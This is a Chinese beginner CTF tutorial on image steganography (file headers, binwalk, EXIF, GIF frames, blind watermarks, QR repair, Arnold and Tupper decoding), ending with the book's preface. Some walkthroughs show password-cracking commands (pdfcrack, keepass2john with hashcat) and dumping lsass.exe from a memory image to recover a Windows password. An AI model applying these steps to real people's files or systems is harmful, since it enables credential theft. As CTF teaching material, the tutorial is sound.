这是一个png图片,但是感觉高度不太对,我们把图片拖入winhex里

修改图片高度的值

ctrl+s保存后查看图片

出现了flag

图片宽度和CRC值爆破

目前手上没这种类型的题,可以去看看落雪wink师傅的文章

text
https://blog.csdn.net/weixin_44145452/article/details/109612189

从图片中提取文件

通过cmd的copy命令,可以将文件隐藏在图片里,我们需要从图片中提取文件,这也是ctf经常考的点

这是一张正常的jpg图片,但是在最下面可以看到一个文件

说明有其他文件在这个图片里,我们需要提取出来

通过binwalk提取图片中的文件

binwalk扫描图片内是否存在其他文件

text
binwalk dog.jpg

可以看到,这个图片里有一个名为hidden_text.txt的文件,现在我们提取这个文件

text
binwalk -e dog.jpg --run-as=root

他会自动生成一个文件夹,将提取出来的文件放入这个文件夹里

通过foremost提取图片中的文件

我常用的提取工具是foremost,因为他比binwalk更精确一些

text
foremost dog.jpg -o dog  //-o:指定输出的文件夹

在文件夹里有一个名为audit.txt的文件,这个文件里可以查看一些图片的信息

JPG图片隐写

jpg图片格式

jpg图片的头数据为

text
FF D8 FF

jpg图片高度修改

这是一个jpg图片,但是在最下面,可以看到flag的一些信息

我们将图片拖入winhex里

我们修改高度,然后ctrl+s保存

就能看见flag了

EXIF信息

在我们拍摄图片时,exif可以记录数码照片的属性信息和拍摄数据

右击图片,点击熟悉,选择详细信息,这里面可以看到图片拍摄的一些值,有时候还能找到经纬度

在kali里,我们可以用exiftool工具来查看更详细的exif数据

text
exiftool cat.jpg

在这里可以看到一串base64编码,我们解密看看

得到flag

在做osint类题目时,需要留意图片的exif信息里有没有经纬度,在做不出来题的时候,可以看看图片的exif信息

BMP图片隐写

BMP图片格式

BMP 文件格式能够存储单色和彩色的二维数字图像,具有各种颜色深度,并且可以选择使用数据压缩、alpha 通道和颜色配置文件

bmp的头文件数据为

text
42 4D

头数据后四位是图片大小

由于个人计算机都是以小端序,所以数据要从右往左写

text
0x002c268e == 2893454(Byte) == 2.75M

BMP图片高度修改

这是一个没有后缀名的文件,我们用winhex打开这个文件

文件头为42 4D,这是一个bmp文件,我们将后缀名改成bmp

用ps打开这个图片,可以看到一个假的flag,并且高度也有些不对

这是维基百科对bmp图片结构的解释

text
https://en.wikipedia.org/wiki/BMP_file_format

我们将32 01 修改为 32 04,再拖进ps里就能看见flag了

GIF图片隐写

gif图片是动图,它是由一帧一帧的图片拼接而成

GIF图片格式

gif头文件数据为

text
47 49 46 38 39 61

GIF帧分离再拼接

下面会用到imagemagick

text
sudo apt install imagemagick

这是一个很细的gif图片,我们需要分离它的每一帧后再拼接

text
convert glance.gif flag.png   #一帧一帧分割图片

分离出了很多图片,现在我们要把他们拼成一张图片

text
montage flag*.png -tile x1 -geometry +0+0 flag.png     #合并图片

得到flag

GIF图像格式和特征

有些GIF图片每一帧都可能存在规律,这也是常考的点

发现打不开这个gif图片,我们把它拖到winhex里看看

发现文件头数据不见了,我们ctrl+n新建一个文档,然后输入gif的头数据

text
47 49 46 38 39 61

回到第一个图片数据,ctrl+a全选,然后复制粘贴到新文件里

ctrl+s保存

现在就能正常读取gif图片了,但是并没有显示flag,而且图片也不是动图,我们猜测它的每一帧都有规律

现在用identify工具来识别规律

text
identify -format "%T" flag.gif

我们将这些值复制出来,新建一个文本文档,将开头的四个6删除过,ctrl+h替换数字

将10全部替换为1,将20全部替换为0

把这些二进制值复制下来,去这个网站对应位置粘贴上去

text
https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html

得到flag

GIF每一帧查看

如果想查看gif图片的每一帧,则可以使用Stegsolve工具

选择要查看的图片导入

选择frame browser即可查看每一帧

或者用pr也行

盲水印

盲水印是一种肉眼不可见的水印方式,可以保持图片美观的同时,保护版权,隐藏式的水印是以数字数据的方式加入音频、图片或影片中,但在一般的状况下无法被看见

这里就用官方图片做演示

这里有两张一模一样的图片,现在我们查看水印

text
bwm decode hui.png hui_with_wm.png flag.png

查看文件里的字符串

有些题目往图片里添加一些字符串,列如上一道题目,我们可以使用strings工具来查看文件里的字符串

这是一张正常的jpg图片,现在我们提取文件里的字符串

text
strings hex.jpg

其他图片隐写

StegHide(Key)

直接上题(BugKu CTF)

继上节 FTP-DATA 后拿到图片,使用工具 StegHide 检测发现有隐藏文件

按 y 确认,没有密码直接回车

使用工具 ExifTools 提取所有元数据

shell
exftool.exe reveille.jpg

将其转为摩斯密码拿到 flag

Extract(Key)

下载文件后先用 stegsolve 拿到密码

使用命令 extract 提取隐写内容到 txt 中

SilentEye(图片)

首先是 bmp 图片隐写

使用 SilentEye 解码即可

JPHS(Key)

前门的步骤参考上一节 SilentEye 隐写

使用 JPHS 解码 jpeg 图片,点击 Open jpeg

点击 Seek 提取数据(这题密码在属性中)

保存文件即可

抽象画

原理是 Piet 这门编程语言

打开 Word 文档另存其中图片

使用工具 NPiet 提取

还有另一半解码即可

FFC(Key)

FFC 是 Free File Camouflage 的简称

发现注释有段编码

解码得到提示这个工具

题目给出了密码,使用工具提取数据即可

最后执行 txt 文件中的代码拿到 flag

Java 盲水印

前面的步骤是先 Foremost 分离,然后爆破(有提示密码是四位数字),拿到图片

使用工具提取图片(图中有工具名)

成功拿到下一步的 Key 值

S-Tools(Key)

文件末尾有段加密字符

解密得到提示工具及 Key 值

使用工具 S-Tools 解出 Key.txt 文件

坐标点

这类题通常是一大串坐标点数据

你需要格式化数据然后绘制图形

下载文件扔进 WinHex 中发现一大串 16 进制数据

编写脚本将 16 进制转 ASCII

python
def hex_to_ascii(hex_string):
    # 确保输入的十六进制字符串长度是偶数
    if len(hex_string) % 2 != 0:
        print("输入的十六进制字符串长度不是偶数,请输入有效的十六进制字符串。")
        
        return None

    # 将十六进制字符串分割成每两个字符一组
    hex_bytes = [hex_string[i:i + 2] for i in range(0, len(hex_string), 2)]

    # 将每组十六进制字符转换为 ASCII 字符
    ascii_string = ''.join(chr(int(b, 16)) for b in hex_bytes)

    return ascii_string


# 读取文件中的十六进制数据
def read_hex_from_file(file_path):
    try:
        with open(file_path, 'r') as file:
            hex_data = file.read().strip()
            
            return hex_data
        
    except FileNotFoundError:
        print(f"文件 {file_path} 未找到。")
        
        return None


# 将 ASCII 字符串写入文件
def write_ascii_to_file(file_path, ascii_string):
    try:
        with open(file_path, 'w') as file:
            file.write(ascii_string)
            
            print(f"ASCII字符串已保存到文件:{file_path}")
            
    except Exception as e:
        print(f"无法写入文件 {file_path},错误:{e}")


def main():
    # 你的文件路径
    file_path = '16 进制数据.txt'
    
    # 输出文件路径
    output_file_path = 'ascii_output.txt'
    
    hex_input = read_hex_from_file(file_path)

    if hex_input:
        ascii_output = hex_to_ascii(hex_input)
        if ascii_output:
            write_ascii_to_file(output_file_path, ascii_output)


if __name__ == "__main__":
    main()

这样我们就得到了坐标

继续使用 Python 绘图拿到 flag

python
import matplotlib.pyplot as plt


# 读取文件中的坐标数据
def read_data_from_file(file_path):
    try:
        with open(file_path, 'r') as file:
            lines = file.readlines()
            
            points = []
            
            for line in lines:
                # 移除空白字符和括号,然后分割字符串获取 x 和 y 值
                x, y = map(int, line.strip().replace('(', '').replace(')', '').split(','))
                
                points.append((x, y))
                
            return points
        
    except FileNotFoundError:
        print(f"文件 {file_path} 未找到。")
        
        return None


# 绘制点
def plot_points(points):
    # 分离 x 和 y 坐标
    x_coords = [point[0] for point in points]
    
    y_coords = [point[1] for point in points]

    # 创建散点图
    plt.scatter(x_coords, y_coords)
    
    plt.xlabel('X Coordinate')
    
    plt.ylabel('Y Coordinate')
    
    plt.title('Scatter Plot of Points')
    
    plt.grid(True)
    
    plt.show()


def main():
	# 你的文件路径
    file_path = 'ascii_output.txt'
    
    points = read_data_from_file(file_path)

    if points:
        plot_points(points)


if __name__ == "__main__":
    main()

Stegpy

这里是本题的最后一步,使用工具 stegpy 提取字符

PDF 密码爆破

前面先爆破出文件解压缩密码是 1337h4x0r,接下来爆破 PDF 密码

使用工具 pdfcrack 爆破,rockyou 字典爆破出密码

shell
-f FILE:选择 FILE 文件
-b:执行基准测试并退出
-c STRING:使用 STRING 中的字符作为字符集
-w FILE:使用 FILE 作为密码源进行尝试
-n INTEGER:跳过尝试短于 INTEGER 的密码
-m INTEGER:达到此 INTEGER 密码长度时停止
-l FILE:从 FILE 中保存的状态继续
-o:使用所有者密码
-u:使用用户密码(默认)
-p STRING:提供用户密码以加快破解所有者密码的速度(隐含 -o)
-q:安静运行
-s:尝试排列密码(目前仅支持将第一个字符切换为大写)
-v:打印版本并退出

成功拿到 flag

StegSeek 爆破

第一个文件提示需要 Steg 工具,使用 StegSeek 爆破

PPT

放大 PPT 即可

PDF 哈希爆破

打开 PDF 需要密码

原题目给出了提示

密码是一串九位数字,可以使用 pdfcrack 爆破,但之前介绍过了,所以这里介绍另一种方法

先获取 PDF 的哈希值

再格式化一下删除多余的字符

最后爆破即可

F5-steganography

下载文件得到一张图片

使用工具 F5-steganography 测试提取出文件

Outguess(Key)

查看图片属性发现核心价值观编码

解码拿到 abc

根据题目提示使用工具 Outguess -k 指定密码 abc -r 指定文件

视频帧

使用工具 Kinovea 打开视频后看到二维码就截图扫码

BPG

分离出末尾的 BPG 文件

网上查找相关资料

网上下载工具

使用命令打开

APNG

使用工具分离

这类题一般都是两张一模一样的图片

但是其中一张的大小比另一种大的多

打开文件发现两张相同图片,且另一个大小是其中一个好几倍

使用工具 BlindWaterMark 提取隐藏图片(原图不在了用用别人的)

成功拿到图片,这里是压缩包的解压密码

解压缩后 Base64 多行解码即可

频域盲水印

19 年的题,版本有点老,用的 python2

text
/* Detailed source-code truncated for AI context efficiency. */

WbStego(Key)

如何判断是否文件采用wbStego4open加密?

  1. 将文件导入010editor、winhex之类的十六进制查看工具
  2. 如果 20、09 出现次数较多,则有可能为wbStego4open加密

拿到文件是一个 PDF,首先尝试 WbStego 隐写,打开软件点击 Continue

再选择 Decode 解码点击 Continue

接着将我们文件托进去点击 Continue

要我们填写密码,但是不知道密码,所以直接下一步

在选择输出的位置

直接下一步

完成!!!

打开输出文件拿到 flag

GPS 数据

题目提示了 GPS,给的附近打开也都是些数据

去在线网站绘制

成功拿到 flag

图片拼接(Online)

打开文件都是些图片碎片

按时间排序后去在线网站合并,一定要选水平

合并后下载文件

设置曝光度扫码拿到 flag

TIFF 图层

首先使用 ForeMost 提取隐写文件

解压出来的 exe 文件运行得到一个 tiff 文件

用 PS 编辑后的 Tiff 文件可以保存路径和图层

去掉遮挡的图层拿到 flag 计算式

在 WinHex 中结尾发现字符

text
njCp1HJBPLVTxcMhUHDPwE7mPW

编写脚本解密

python
bytearray = b"njCp1HJBPLVTxcMhUHDPwE7mPW"
 
flag = ""
 
for i in range(len(bytearray)):
    if i % 2==0:
        c = bytearray[i]
        c -= 1
        flag += chr(c)
    else:
        c = bytearray[i]
        c += 1
        flag += chr(c)
 
print(flag)

BMP

打开附件给了一张 bmp 类型图片

在 Stegsolve 中换其他通道看到疑似二维码的碎片

用画图工具打开 bmp 图片将其另存为 png 格式再放入 Stegsolve 中拿到二维码

扫码拿到 flag

GIF 帧像素

给了一个 GIF 文件,先将其分解

python
import os
from PIL import Image

def main(gif_file):
    png_dir = 'frame/'
    img = Image.open(gif_file)
    try:
        while True:
            current = img.tell()
            img.save(png_dir + str(current + 1) + '.png')
            img.seek(current + 1)
    except:
        pass
if __name__ == '__main__':
    gif_file = 'out.gif'
    main(gif_file)

发现每个图像素点位置都不一样

读取每个 PNG 中的对应点的信息,并按照 8bit 转换为 ascii

python
import os
from PIL import Image

def main():
    png_dir = 'frame/'
    ret = ""
    for i in range(0,24):
        line = ""
        for j in range(0,24):
            file_name = "frame/" + str(i * 24 + j + 1) + ".png"
            x = j * 10 + 5
            y = i * 10 + 5
            img = Image.open(file_name)
            img = img.convert("RGB") 
            img_array = img.load()
            r, g, b = p = img_array[x, y]
            if g == 255:
                line += "0"
            if r == 255 and b == 255:
                line += "1"
            if len(line) == 8:
                ret += chr(int(line, 2))
                line = ""
                
    print(ret)

if __name__ == '__main__':
    main()

运行脚本得到

text
o8DlxK+H8wsiXe/ERFpAMaBPiIcj1sHyGOMmQDkK+uXsVZgre5DSXw==

再 Foremost 分离 GIF 文件

拿着密钥去解密即可

Cloacked-pixel

给了个图片

下载工具

经过一系列报错安装库(本人从不用 Python2)终于成功

成功拿到数据

解密

二维码手动修补

下载拿到图片

手动处理二维码

此二维码的大小为 29x29,版本 V 的大小为 N × N,N = 17 + 4V,所以这是版本 3

图中红框该区域表示二维码的格式信息,实际上格式信息是 15 位长,区域有最后 8 位

搜索所有格式信息字符串的列表,我们可以发现类型信息位是001001110111110,所以这个二维码有ECC级别 H 和掩码模式 1

ECC 级别 蒙版图案 类型信息位
L 0 111011111000100
L 1 111001011110011
L 2 111110110101010
L 3 111100010011101
L 4 110011000101111
L 5 110001100011000
L 6 110110001000001
L 7 110100101110110
M 0 101010000010010
M 1 101000100100101
M 2 101111001111100
M 3 101101101001011
M 4 100010111111001
M 5 100000011001110
M 6 100111110010111
M 7 100101010100000
Q 0 011010101011111
Q 1 011000001101000
Q 2 011111100110001
Q 3 011101000000110
Q 4 010010010110100
Q 5 010000110000011
Q 6 010111011011010
Q 7 010101111101101
H 0 001011010001001
H 1 001001110111110
H 2 001110011100111
H 3 001100111010000
H 4 000011101100010
H 5 000001001010101
H 6 000110100001100
H 7 000100000111011

QR 掩码说明

Mask Number If the formula below is true for a given row/column coordinate, switch the bit at that coordinate
0 (row + column) mod 2 == 0
1 (row) mod 2 == 0
2 (column) mod 3 == 0
3 (row + column) mod 3 == 0
4 ( floor(row / 2) + floor(column / 3) ) mod 2 == 0
5 ((row * column) mod 2) + ((row * column) mod 3) == 0
6 ( ((row * column) mod 2) + ((row * column) mod 3) ) mod 2 == 0
7 ( ((row + column) mod 2) + ((row * column) mod 3) ) mod 2 == 0

参考上面的表格

掩码编号 1 具有公式(row) mod 2 == 0

请注意行号从 0 开始,因此我们必须交换坐标为 0、2、4、…、28 的行的位

另外,QR 码有固定的模式,所以我们只需切换数据部分的位

参考下面数据区域和位顺序

因此,原始的 D1–D26 为:

text
D1  = 0b11101100
D14 = 0b10000010
D2  = 0b11111000
D15 = 0b10010101
D3  = 0b00110110
D16 = 0b00111101
D4  = 0b01110110
D17 = 0b01100010
D5  = 0b00100010
D18 = 0b11101001
D6  = 0b11110001
D19 = 0b10100001
D7  = 0b00110111
D20 = 0b11100101
D8  = 0b01010010
D21 = 0b11010101
D9  = 0b00010111
D22 = 0b00101101
D10 = 0b11011110
D23 = 0b10010111
D11 = 0b01000100
D24 = 0b10001011
D12 = 0b01010100
D25 = 0b01111000
D13 = 0b11001101
D26 = 0b11000110

mod 2 == 0 掩码之后

text
D1  = 0b00100000
D14 = 0b01001110
D2  = 0b00110100
D15 = 0b01011001
D3  = 0b11111010
D16 = 0b00001110
D4  = 0b01000101
D17 = 0b01010001
D5  = 0b00010001
D18 = 0b11011010
D6  = 0b00111101
D19 = 0b10010010
D7  = 0b00000100
D20 = 0b11010101
D8  = 0b10011110
D21 = 0b00011001
D9  = 0b11010100
D22 = 0b00010001
D10 = 0b00010100
D23 = 0b00001110
D11 = 0b11011101
D24 = 0b00010010
D12 = 0b11010010
D25 = 0b00011111
D13 = 0b01010100
D26 = 0b01000000

现在我们可以开始解码数据了

有解码的模式指示器:

  • 0001:数字模式(每 3 位 10 位)
  • 0010:字母数字模式(每 2 个字符 11 位)
  • 0100:字节模式(每个字符 8 位)
  • 1000:汉字模式(每个字符 13 位)
  • 0111:ECI 模式

字符数指示符跟在模式指示符之后。

  • 版本 1–9
    • 数字模式:10位
    • 字母数字模式:9 位
    • 字节模式:8位
    • 汉字模式:8位
  • 版本 10–26
    • 数字模式:12位
    • 字母数字模式:11 位
    • 字节模式:16位
    • 汉字模式:10位
  • 版本 27–40
    • 数字模式:14位
    • 字母数字模式:13 位
    • 字节模式:16位
    • 汉字模式:12位

查看每种模式的编码过程:

  • 数字模式编码
  • 字母数字模式编码
  • 字节模式编码
  • 汉字模式编码

让我们从上面的数据 D1–D26 开始:

text
/* Detailed source-code truncated for AI context efficiency. */

ZSteg

这是最常见的隐写方法

通过修改图像像素值的有效位来嵌入信息

拿到图片后先用 Zsteg 提取,比 Stegsolve 更快

报错了是因为默认从最低有效位开始,可以加上 --msb 从最高有效位开始提取

傅里叶盲水印

继上一节伪加密后拿到图片

压缩包的名称为 FFT,明显的傅叶里变换

基本原理

  1. 傅里叶变换:将原始图像进行二维离散傅里叶变换(DFT),得到频域表示。频域图像的每个点包含幅度和相位信息,分别代表图像中不同频率成分的强度和位置
  2. 水印嵌入:选择频域中的特定区域(通常是中频区域)嵌入水印信息。为了保持频谱的对称性,通常会将水印对称地嵌入频域的两个区域。嵌入方式可以是直接修改幅度值,也可以通过相位调制等方法
  3. 傅里叶逆变换:将嵌入水印后的频域图像进行傅里叶逆变换,得到含有水印的空间域图像。由于水印嵌入在频域中,空间域图像的视觉质量变化较小,难以被察觉
  4. 水印提取:在不需要原始图像的情况下,对含水印图像进行傅里叶变换,提取频域中的水印信息。这就是“盲”水印的含义,即提取水印时不依赖原始图像

上脚本

python
import cv2 as cv
import numpy as np
import matplotlib.pyplot as plt

img = cv.imread('FFT.png', 0) 		# 直接读为灰度图像,不过此题已经是灰度图片了
f = np.fft.fft2(img)            	# 做频率变换
fshift = np.fft.fftshift(f)     	# 转移像素做幅度谱
s1 = np.log(np.abs(fshift))			# 取绝对值:将复数变化成实数取对数的目的为了将数据变化到 0-255
plt.subplot(121)
plt.imshow(img, 'gray')
plt.title('original')
plt.subplot(122)
plt.imshow(s1,'gray')
plt.title('center')
plt.show()

隐写水印工具

继上一节伪加密后拿到图片

使用工具提取水印

Arnold 加密

下载附件给了不知道什么东东的图片

提取图片上的字

text
61726e6f6c64

转 ASCII 码得到

text
arnold

Arnold 加密算法是一种基于图像置乱的加密方法,也称为 Arnold 变换或猫脸变换

(刚好与题目描述相呼应了)

Arnold 变换是一种二维的可逆映射,它将图像中的像素点从位置 (x,y) 映射到新的位置 (x',y')。其数学表达式为:

text
[x']   [1 1][x]      mod N
[y'] = [1 2][y]

其中 N 是图像的大小(假设图像为 N×N 的正方形)

展开后的公式为:

text
x' = (x + y) mod N
y' = (x + 2y) mod N

加密过程:

  1. 读取 N×N 的原始图像
  2. 对每个像素点 (x,y),计算新的位置 (x',y'):
    • x' = (x + y) mod N
    • y' = (x + 2y) mod N
  3. 将像素移动到新位置
  4. 可以重复多次变换以增强加密效果

解密过程:

  1. 计算变换矩阵的逆矩阵:

    text
    [x]   [ 2 -1][x']      mod N
    [y] = [-1  1][y']
  2. 对加密图像中的每个像素点 (x',y'),计算原始位置 (x,y):

    • x = (2x' - y') mod N
    • y = (-x' + y') mod N
  3. 将像素移回原始位置

  4. 重复与加密相同次数的变换

编写脚本:

python
import cv2
import numpy as np
import matplotlib.image as mpimg

def arnold_decode(imgfile, outfile, shuffle_times, a, b):
    image= cv2.imread(imgfile)
    decode_image = np.zeros(image.shape, np.uint8)
    h, w = image.shape[0], image.shape[1]
    N = h
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
                new_y = ((-a) * ori_x + ori_y) % N
                decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]

    cv2.imwrite(outfile, decode_image)
    print("得到图片:" + outfile)

arnold_decode("girlfriend.png","girlfriend.png",0x61,0x726e,0x6f6c64)

Tupper

下载附件给出了很多图片

用脚本识别出来

python
import ddddocr

ocr = ddddocr.DdddOcr()

for i in range(0,136):
     with open('{}.png'.format(i), 'rb') as f:
          img_bytes = f.read()
          tmp = ocr.classification(img_bytes).replace('o','0')
          print("".join(list(tmp)), end='')

查看提示给出了 Tupper

Jeff Tupper 的自引用公式(Tupper's self-referential formula)是 2001 年提出的一个著名数学公式,它在特定条件下绘制出的图形就是公式本身

这个公式展示了数学与计算机图形的奇妙联系,具有以下特点

原始不等式形式为:

text
1/2 < ⌊mod(⌊y/17⌋×2^(-17x-mod(y,17)),2)⌋

其中:

  • ⌊·⌋ 表示向下取整函数
  • mod 表示取模运算
  • x 和 y 是坐标变量

基本机制:

  • 公式定义了一个位图编码系统,可以将任何 106 像素宽 × 17 像素高的二值图像编码为一个超大整数 k
  • 当在 0 ≤ x < 106 和 k ≤ y < k+17 的范围内绘制满足不等式的点时,就会重现编码的图像
  • 神奇的是,当 k 取特定值时,绘制出的图像就是公式本身的不等式形式

编码原理:

  1. 像素网格:将图像视为 17 行(高) × 106 列(宽)的网格
  2. 二进制编码:
    • 每列 17 个像素可以看作 17 位二进制数(从下到上)
    • 将 106 列这样的 17 位数连接起来,形成一个超长的二进制数
  3. 转换为十进制:将这个二进制数转换为十进制,就得到了 k 值

解码过程(即绘图过程):

  1. 对于每个像素位置 (x,y)(x∈[0,105], y∈[k,k+16])
  2. 计算v = ⌊y/17⌋ × 2^(-17x - mod(y,17))
  3. 判断 mod(v,2) 是否大于 1/2
  4. 如果满足,则在 (x,y-k) 位置绘制一个点

上脚本

python
import numpy as np
import matplotlib.pyplot as plt


def Tupper_self_referential_formula(k):
    aa = np.zeros((17, 106))

    def f(x, y):
        y += k
        a1 = 2 ** -(-17 * x - y % 17)
        a2 = (y // 17) // a1
        return 1 if a2 % 2 > 0.5 else 0

    for y in range(17):
        for x in range(106):
            aa[y, x] = f(x, y)

    return aa[:, ::-1]


k = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552
aa = Tupper_self_referential_formula(k)
plt.figure(figsize=(15, 10))
plt.imshow(aa, origin='lower')
plt.gca().invert_xaxis() # 这里发现图像是倒着的,需要反转
plt.show()

Strings

打卡链接下载图片

直接提取有关 flag 的字符串拿到 flag

sh
strings '/home/morant/95f6edfb66ef42d774a5a34581f19052.jpg' | grep "flag"

塔珀自指公式(Tupper's self-referential formula)

下载文件后先把后缀名 .zip 补上,再解压缩

.kdbx 文件需要 keepass 打开,打开发现需要密码

keepass2john 是 John The Ripper(简称 JtR)自带的辅助工具

用于把 KeePass 密码库(.kdbx 文件)转换为 John the Ripper 可识别的哈希格式

从而可以使用暴力破解(如字典攻击、规则攻击等)去破解主密码

sh
keepass2john '/home/kali/len5.kdbx'

删掉开头的 len5:

使用工具 HashCat 爆破

sh
hashcat -m 13400 keepass.hash  -a 0 password.txt  --force
# m:破解的 hash类型,hashcat -h 何查看类型
# a:爆破的方法,0 表示字典爆破
# force:不报错

得到密码 13152,打开文件得到压缩包的密码

解压得到两个文件

hint.txt 是零宽隐写,得到 22*160

这里涉及到 塔珀自指公式(Tupper's self-referential formula) 知识点,但默认的 online decode 标准是 17*106 的

参考提示写脚本重新绘图

text
/* Detailed source-code truncated for AI context efficiency. */

运行结果得到三个数 33、121、144

text
/* Detailed source-code truncated for AI context efficiency. */

题目名有提示猫,最后应该是 Arnold 变换

python
from PIL import Image

img = Image.open('flag.png')
if img.mode == "P":
    img = img.convert("RGB")
assert img.size[0] == img.size[1]
dim = width, height = img.size

st = 33
a = 121
b = 144
for _ in range(st):
    with Image.new(img.mode, dim) as canvas:
        for nx in range(img.size[0]):
            for ny in range(img.size[0]):
                y = (ny - nx * a) % width
                x = (nx - y * b) % height
                canvas.putpixel((y, x), img.getpixel((ny, nx)))
canvas.show()
canvas.save('result.png')

GIF 宽高

先确定镜像系统

sh
python2 vol.py -f '/home/kali/内存取证.raw' imageinfo

先看进程发现最开始调用了浏览器

sh
python2 vol.py -f '/home/kali/内存取证.raw' --profile=Win7SP1x64 pstree

直接查看浏览器记录

text
python2 vol.py -f '/home/kali/内存取证.raw' --profile=Win7SP1x64 iehistory

打开三条链接

可以看到还有一个 key.png 文件,去搜索一下

dump 出来

text
python2 vol.py -f '/home/kali/内存取证.raw' --profile=Win7SP1x64 dumpfiles -Q 0x000000003e5e94c0 -D ../

key.png 是文本文件,内容为:

text
我记得我存了一个非常棒的视频,但怎么找不到了,会不会在默认文件夹下

视频的默认文件夹是 Video,尝试搜索一下 Video

dump 出来

前面进程还有给 cmd.exe,去看看执行了什么

sh
python2 vol.py -f '/home/kali/内存取证.raw' --profile=Win7SP1x64 cmdscan

之前 IE 搜索记录里有文件名加前缀的提示,怀疑就是加了 5201314,故 filescan 一下 5201314,得到一个 tips

dumpfiles 出来,是一个加密压缩包,ohhhh 文件内的 Key 也不是密码

还可能存在 Key 的地方,也许会是管理员登录密码,尝试 mimikatz 一下

因为是 raw 文件(完整的 Windows 内存镜像)所以不能直接抓取,得先单独 dump 出 lsass.exe 进程

sh
python2 vol.py -f '/home/kali/内存取证.raw' --profile=Win7SP1x64 memdump -p 500 -D ../

抓取到密码是 MahouShoujoYyds

解密压缩包成功,压缩包内是个 Python 文件

python
import struct
key = 'xxxxxxxxx'
fp = open('!@#$importance', 'rb')
fs = open('!@#$unimportance', 'wb')
data = fp.read()
for i in range(0, len(data)):
    result = struct.pack('B', data[i] ^ ord(*key[i % len(key)]))
    fs.write(result)
fp.close()
fs.close()

正好就是刚开始的 !@#$unimportance 文件的加密方式,缺少一个 key,有 key 即可复原。

根据 key 的位数为 9 位,正好就是 ohhh 文件内的 xzkbyyds!

写一个逆脚本解密一下,得到一个头文件为 GIF89a 的文件,可知是 GIF 图片

python
import struct
key = 'xzkbyyds!'
fp = open('!@#$importance', 'wb')
fs = open('!@#$unimportance', 'rb')
data = fs.read()
for i in range(0, len(data)):
    result = struct.pack('B', data[i] ^ ord(*key[i % len(key)]))
    fp.write(result)
fp.close()
fs.close()

修改 GIF 高度,其中 6 7 字节为宽, 8 9 字节为高

在第 115 帧发现 flag

图像合成

解压缩文件是两个一模一样的图片

使用 StegSolve 打开选择 Image Combiner 模式(图像合成)

发现可疑内容

保存后再打开切换通道发现是二维码

扫码拿到 flag

键盘 WASD 绘图

这类题一般都是一串 wasd 的字符串

在游戏中键盘的 wasd 常控制上下左右

一段包含 wasd 的字符串

使用 Python 编写脚本绘图

python
import matplotlib.pyplot as plt


def main():
    with open("dewas.txt", "r+") as file:
        content = file.read()

    contentListX = []
    
    contentListY = []
    
    x = 0
    
    y = 0
    
    for c in content:
        # 如果字符是 a,则 x 坐标减 1,相当于在水平方向向左移动
        if c == "a":
            x = x - 1

        # 如果字符是 d,则 x 坐标加 1,相当于在水平方向向右移动
        elif c == "d":
            x = x + 1

        # 如果字符是 w,则 y 坐标加 1,相当于在垂直方向向上移动
        elif c == "w":
            y = y + 1

        # 如果字符是 s,则 y 坐标减 1,相当于在垂直方向向下移动
        elif c == "s":
            y = y - 1
            
        else:
            continue
            
        # 将当前的 x 和 y 坐标添加到对应的列表中
        contentListX.append(x)
        
        contentListY.append(y)

    plt.plot(contentListX, contentListY)
    
    plt.show()


if __name__ == '__main__':
    main()

图就是 flag,但是好抽象(不能搞好看点吗)

StegSolve

放入 Stegsolve 中尝试各种组合找到了隐写的压缩包

GIF 帧

原理就是分别在 GIF 的每一帧中写入内容

拿到图片的步骤在 RAR 文件头修复那一节,可以看到图片内容是空白

放入 WinHex 中发现原来被修改了后缀名,将其改为 GIF

打开后还是空白,检查过十六进制没有发现问题

网上在线工具分离每一帧

在 StegSolve 中换通道拿到二维码

最后补全二维码即可拿到 flag

图片拼接写(十六进制)

接 USB 流量隐写那一节,我们分离出的图片明显少了一半

但别忘了还有一个包我们没用到,打开发现结尾是 PNG 结尾 IEND

那这应该就是图片的下半部分,将其十六进制拼接在后面

成功打开拿到 flag

总结

很多题目都是考了不同或者多方向的知识点,总之,学得越多越好


Hc Preface About (`docs/hc-preface/about.md`)


comments: true


关于本书

本项目旨在创建一本开源免费、新手友好的CTF(Capture The Flag,夺旗赛)入门教程。

  • 对于每个方向的基础知识点,我们都会尽力提供相应的题目(包括题目附件 题目源码 Dockerfile),所有题目均可本地部署也可在NSSCTF平台上直接开启,我们会在教程中逐步引导读者,并且鼓励读者自行复现,使学习过程更加具象;
  • 在提供基础知识外,本书也将提供CTF相关的信息聚合,以消除信息差;
  • 书籍在每篇文章下都设置有讨论区,欢迎讨论,提问,以及建议。

读者对象

如果你对CTF感兴趣,但是不曾了解,亦或者是了解但不知从何学起,是很纯正的「CTF萌新选手」,那建议仔细阅读本书 (bushi

如果你熟悉CTF并且已经有一门或者多门熟悉的方向,是「CTF老手」,那么本书也可以作为您尝试其他方向,成为全栈✌路上的垫脚石 (x

如果你的CTF已经炉火纯青,是「CTFの神」,我们期待您的宝贵建议,或者,您也可以加入我们一起创作!!  

!!! Note "前置条件"

text
您需要至少熟悉任意一个方向,对该方向有一定的认知,能够针对该方向知识点完成对应题目的命题。
(以Web方向举例 您除了需要会Web方向的基础以外,还需要熟悉Docker技术)

一些Q&A

这个项目和 CTF-Wiki 相比有什么优势或者特点👀

:一个问的比较多的问题,但是如果你阅读过两个项目的内容,你问不出来这个问题——知识库和入门书有什么区别?Wiki不会一步一步的引导你,这就是最直观的区别。笔者写这本书的原因就是,自己太笨了看不懂Wiki。

为什么不在CTF-wiki上继续创作?

:参考上一个QA,两者内容面向的群体是不同的。

未来会出书么?

:原则上没有这个打算,我个人觉得CTF这玩意真不适合出书,不过考虑到有些师傅会喜欢纸质化阅读,可能会在内容彻底完善后出纸质版的打算,不过我建议是把项目down下来,然后给一些线上打印商铺让其帮忙封装,从我高中那会复印教材的经验来讲,很便宜,也比较方便。

当然如果有强烈需求,说不定呢(懒.jpg

我有一些类似讲课 培训的任务,我能用这个项目么?

